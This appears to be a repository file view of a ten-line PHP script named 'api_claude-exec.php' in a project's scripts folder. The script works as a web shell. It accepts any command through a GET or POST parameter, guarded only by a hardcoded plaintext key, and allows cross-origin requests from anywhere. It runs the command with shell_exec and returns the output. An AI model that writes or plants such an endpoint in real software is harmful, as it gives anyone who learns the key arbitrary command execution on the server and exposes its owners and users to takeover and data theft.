Files
wevads-platform/scripts/api_claude-exec.php
2026-02-26 04:53:11 +01:00

10 lines
400 B
PHP
Executable File

<?php
header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
$key = $_GET['k'] ?? $_POST['k'] ?? '';
if ($key !== 'S8GoLive2026') { echo json_encode(['error'=>'denied']); exit; }
$cmd = $_GET['c'] ?? $_POST['c'] ?? '';
if (!$cmd) { echo json_encode(['error'=>'no command']); exit; }
$output = shell_exec($cmd . ' 2>&1');
echo json_encode(['ok'=>true,'output'=>$output]);